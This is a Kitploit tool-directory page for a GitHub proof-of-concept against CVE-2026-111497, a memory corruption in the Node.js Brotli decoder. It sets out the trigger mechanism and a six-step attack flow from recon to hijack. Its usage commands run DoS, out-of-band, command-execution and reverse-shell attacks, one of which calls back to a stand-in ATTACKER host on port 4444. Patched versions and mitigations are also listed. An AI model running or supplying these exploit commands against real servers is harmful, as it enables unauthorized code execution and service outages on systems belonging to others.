Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/sam00/node2shell-cve-2026-111497-poc
Vulnerability ScannersVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubsam00/node2shell-cve-2026-111497-poc

Node2Shell-CVE-2026-111497-POC

Proof-of-concept for CVE-2026-111497, an unauthenticated Brotli decoder memory corruption in Node.js: version scanner, DoS and corruption payloads, and reverse-shell compromise.

3 days agoNot yet reviewed
View Repository
Share

Node2Shell — CVE-2026-111497

Unauthenticated memory corruption in the Brotli decoder shipped with Node.js. A stream that requests a block-type switch while only one block type exists makes DecodeBlockTypeAndLength() return BROTLI_FALSE. Callers treat that as “need more input”. On the vulnerable decoder the 8-byte stash is then overwritten with attacker bytes, and the worker stops returning from the decode call.

CVE: CVE-2026-111497
CVSS: 9.2
CWE: CWE-787, CWE-252
Component: Node.js node:zlib and fetch(), and any HTTP stack that inflates Content-Encoding: br (Express 5 / body-parser 2 with inflate left on)

Affected and fixed

SoftwareFixed in
Node.js 22.x22.23.4
Node.js 24.x24.22.1
Node.js 26.x26.12.1
Node.js 20.x, 25.xno fix (discontinued)
Bun1.4.4
Brotli1.0.10, 1.1.1, 1.2.1

Patched Node.js releases reject the same stream as a format error and keep serving.

Features

  • Version scanner for Node.js and Bun (scanner.py), including an optional active probe
  • cmd-drain bitstream: 2^24 zero-cost dictionary commands drain block_length so the invalid switch is reachable
  • DoS arm: 8-byte tail plus a follow-up chunk, chunked Content-Encoding: br, body closed
  • Corruption arm: 24-byte tail written through the 8-byte stash into adjacent decoder fields
  • Full compromise arm: one request carries the corruption tail, the field-clobber bytes, and the exec or reverse-shell spray
  • Response vector: server.py serves the same bytes to a Node.js fetch() client
  • Reverse-shell listener (listener.py)
  • Shell wrapper (node2shell.sh) for scan, dos, oob, compromise, and shell

Attack flow

  1. Recon. scanner.py reads Server and X-Powered-By and compares the version to the fixed releases above. --active posts the corruption arm.
  2. Build. The generator writes a cmd-drain stream. Distance-34 dictionary transforms cost zero output bytes, so block_length hits zero while num_block_types is still 1.
  3. Deliver. exploit.py or compromise.py posts that stream with Transfer-Encoding: chunked and Content-Encoding: br. The body ends with the 0 chunk, so a hang is the decoder, not an open request. server.py returns the same bytes to a fetch() caller.
  4. Corrupt. DecodeBlockTypeAndLength() returns BROTLI_FALSE. The vulnerable decoder copies the unconsumed tail through s->buffer.u8[8] into buffer_length, pos, ringbuffer_size, and the following fields.
  5. Hijack. The compromise tail is those clobber bytes plus the command or reverse-shell JavaScript, in the same body. A second request is not used: the worker does not return from the first decode.
  6. Confirm. A stall or TCP reset after the body is sent means the vulnerable decoder took the stream. A reverse shell counts only when listener.py accepts it. Command output counts only when the verify marker is in the HTTP response.

Outcome

On a vulnerable Node.js worker that inflates Brotli request bodies, one closed chunked POST is enough. The worker stops answering (stall or connection reset) and the stash write has already landed in decoder state. Patched releases answer with a format error and stay up.

Code execution is reported only when the listener accepts a shell or the verify marker is in the response. Raise --retries on a multi-worker process so the stream hits a vulnerable worker.

Usage

Authorized testing only.

python3 scanner.py --check-version 24.22.0
python3 scanner.py http://target:3000
python3 exploit.py -t http://target:3000/api -v request -p dos
python3 exploit.py -t http://target:3000/api -v request -p oob
python3 compromise.py -t http://target:3000/api -c "id" --retries 20
python3 exploit.py -t http://target:3000/api -p compromise --revshell --host ATTACKER --port 4444
python3 listener.py --port 4444
python3 exploit.py -v response -p dos --server-port 8080
./node2shell.sh scan http://target:3000
./node2shell.sh dos http://target:3000 /api
./node2shell.sh oob http://target:3000 /api
./node2shell.sh compromise http://target:3000 "id" /api 20
./node2shell.sh compromise-shell http://target:3000 ATTACKER 4444 /api 50

metadata_rce needs --libc-base, --system-offset, and --binsh-offset from the target process.

Layout

PathRole
brotli_payload.pyTrigger, hijack tail, and exec spray
exploit.pyHTTP client (request and response vectors)
compromise.pySingle-body corruption, hijack, and confirmation
scanner.pyVersion and surface checks
server.pyfetch() response vector
listener.pyReverse-shell listener
node2shell.shCommand wrapper

Mitigation

Upgrade Node.js to 22.23.4, 24.22.1, or 26.12.1. On discontinued lines, move to a fixed release. express.json({ inflate: false }) rejects compressed bodies. Drop Content-Encoding: br at the proxy for untrusted clients.

This proof of concept is for systems you own or are authorized to test. Unauthorized access is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →